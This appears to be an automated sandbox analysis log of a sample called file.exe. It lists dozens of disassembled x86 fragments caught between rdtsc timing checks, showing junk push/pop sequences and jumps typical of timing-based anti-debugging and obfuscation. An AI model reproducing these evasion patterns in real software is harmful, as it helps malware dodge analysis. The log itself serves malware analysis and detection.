Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F8E70 second address: 6F8E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F8E7A second address: 6F8E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6F900C second address: 6F9020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FF8A1198176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FF8A1198176h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FC4D4 second address: 6FC506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF8A11CF043h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FF8A11CF03Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007FF8A11CF036h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FC506 second address: 6FC51C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Ch 0x00000007 jl 00007FF8A1198176h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FC51C second address: 6FC522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6FC21D second address: 6FC223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706AE6 second address: 706AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706AF8 second address: 706B1C instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A1198176h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FF8A119817Ch 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 jns 00007FF8A1198176h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706B1C second address: 706B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FF8A11CF03Bh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706B2C second address: 706B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706B32 second address: 706B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70CB63 second address: 70CB67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70CB67 second address: 70CB80 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FF8A11CF03Ah 0x0000000c push ebx 0x0000000d jo 00007FF8A11CF03Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 718CB9 second address: 718CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF8A1198176h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717869 second address: 717874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717874 second address: 717878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717878 second address: 717882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7179D8 second address: 7179E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717DF6 second address: 717E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A11CF045h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 717E14 second address: 717E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71C68A second address: 71C693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71C693 second address: 71C697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 71C23F second address: 71C244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 729991 second address: 729995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 729995 second address: 72999D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 72999D second address: 7299A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 727D1F second address: 727D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 727D25 second address: 727D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 727D30 second address: 727D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 727D36 second address: 727D4A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A1198176h 0x00000008 jmp 00007FF8A119817Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 727D4A second address: 727D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73D8C5 second address: 73D8F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF8A119817Eh 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FF8A1198187h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7405C0 second address: 7405D3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007FF8A11CF036h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7405D3 second address: 7405F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jne 00007FF8A119817Ch 0x0000000f jng 00007FF8A1198176h 0x00000015 popad 0x00000016 pushad 0x00000017 jl 00007FF8A119817Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7405F2 second address: 740624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Dh 0x00000009 jmp 00007FF8A11CF03Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11CF03Bh 0x00000015 je 00007FF8A11CF036h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75983A second address: 759841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 759841 second address: 759847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 759847 second address: 759855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jnl 00007FF8A1198176h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7587BF second address: 7587C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75893D second address: 758943 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 758A70 second address: 758A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF040h 0x00000009 jmp 00007FF8A11CF041h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 758D32 second address: 758D38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75C16F second address: 75C17B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75C17B second address: 75C180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 75C180 second address: 75C18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11CF03Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7614E5 second address: 7614E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7614E9 second address: 7614FC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jng 00007FF8A11CF036h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90DB6 second address: 4F90DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A119817Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90DC5 second address: 4F90DCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90DCA second address: 4F90DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90DD0 second address: 4F90E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, dword ptr [eax+00000FDCh] 0x0000000d pushad 0x0000000e call 00007FF8A11CF047h 0x00000013 mov ax, E77Fh 0x00000017 pop eax 0x00000018 pushfd 0x00000019 jmp 00007FF8A11CF045h 0x0000001e add eax, 7AF2C826h 0x00000024 jmp 00007FF8A11CF041h 0x00000029 popfd 0x0000002a popad 0x0000002b test ecx, ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FF8A11CF03Dh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90E3A second address: 4F90E86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8A1198187h 0x00000009 sbb eax, 1427080Eh 0x0000000f jmp 00007FF8A1198189h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jns 00007FF8A11981CEh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 mov esi, 6122E6A5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90E86 second address: 4F90EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF041h 0x00000009 popad 0x0000000a add eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90EA3 second address: 4F90EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A1198189h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F90EC1 second address: 4F90F19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF041h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax+00000860h] 0x0000000f pushad 0x00000010 jmp 00007FF8A11CF03Ch 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 test eax, eax 0x0000001a jmp 00007FF8A11CF03Ch 0x0000001f je 00007FF911E34E9Bh 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF8A11CF047h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB0288 second address: 4FB028D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB028D second address: 4FB02C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF044h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF8A11CF040h 0x0000000f push eax 0x00000010 jmp 00007FF8A11CF03Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB02C8 second address: 4FB0344 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF8A1198180h 0x00000008 and cx, C378h 0x0000000d jmp 00007FF8A119817Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov eax, 41832AAFh 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FF8A1198180h 0x00000024 add eax, 10775DD8h 0x0000002a jmp 00007FF8A119817Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov edx, dword ptr [ebp+0Ch] 0x00000034 jmp 00007FF8A1198182h 0x00000039 mov ecx, dword ptr [ebp+08h] 0x0000003c pushad 0x0000003d call 00007FF8A119817Eh 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB0358 second address: 4FB035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB035E second address: 4FB0363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB0363 second address: 4FB0369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB0369 second address: 4FB036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FB036D second address: 4FB0371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA087B second address: 4FA0881 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0881 second address: 4FA0887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0887 second address: 4FA088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA088B second address: 4FA08AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF044h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA08AB second address: 4FA08B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA08B3 second address: 4FA08FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF8A11CF044h 0x00000011 sbb al, FFFFFFE8h 0x00000014 jmp 00007FF8A11CF03Bh 0x00000019 popfd 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF8A11CF03Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA08FF second address: 4FA0903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0903 second address: 4FA0909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0909 second address: 4FA091B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 push edi 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA091B second address: 4FA091F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA091F second address: 4FA0925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0925 second address: 4FA097F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 pushfd 0x00000007 jmp 00007FF8A11CF03Eh 0x0000000c jmp 00007FF8A11CF045h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dword ptr [esp], ecx 0x00000018 jmp 00007FF8A11CF03Eh 0x0000001d xchg eax, esi 0x0000001e jmp 00007FF8A11CF040h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ecx 0x00000028 pop edx 0x00000029 mov bx, ax 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0A95 second address: 4FA0AD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b movzx esi, di 0x0000000e mov ah, dh 0x00000010 popad 0x00000011 leave 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A1198187h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0AD4 second address: 4FA01DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FF8A11CF037h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007FF8A5CD6A91h 0x00000032 mov edi, edi 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 call 00007FF8A11CF03Dh 0x0000003c pop esi 0x0000003d mov edi, 74413824h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA01DD second address: 4FA01E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA01E3 second address: 4FA0217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF044h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FF8A11CF043h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0217 second address: 4FA02A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov al, bh 0x0000000d pushfd 0x0000000e jmp 00007FF8A1198188h 0x00000013 add cl, FFFFFFC8h 0x00000016 jmp 00007FF8A119817Bh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f jmp 00007FF8A1198184h 0x00000024 call 00007FF8A1198182h 0x00000029 push eax 0x0000002a pop edx 0x0000002b pop eax 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f pushad 0x00000030 jmp 00007FF8A1198183h 0x00000035 push eax 0x00000036 push edx 0x00000037 mov ax, B815h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA02A9 second address: 4FA0391 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF8A11CF042h 0x00000008 jmp 00007FF8A11CF045h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 push FFFFFFFEh 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FF8A11CF03Ch 0x0000001a add cx, D448h 0x0000001f jmp 00007FF8A11CF03Bh 0x00000024 popfd 0x00000025 popad 0x00000026 push 011D9C73h 0x0000002b pushad 0x0000002c jmp 00007FF8A11CF041h 0x00000031 call 00007FF8A11CF040h 0x00000036 mov ecx, 64AFE131h 0x0000003b pop esi 0x0000003c popad 0x0000003d add dword ptr [esp], 74A901D5h 0x00000044 jmp 00007FF8A11CF03Dh 0x00000049 push 0A8B53D1h 0x0000004e jmp 00007FF8A11CF047h 0x00000053 xor dword ptr [esp], 7F4A78A1h 0x0000005a jmp 00007FF8A11CF046h 0x0000005f mov eax, dword ptr fs:[00000000h] 0x00000065 jmp 00007FF8A11CF040h 0x0000006a nop 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0391 second address: 4FA0395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA0395 second address: 4FA03B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA03B2 second address: 4FA03B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FA03B8 second address: 4FA03FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF043h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF8A11CF049h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A11CF03Dh 0x00000019 rdtsc
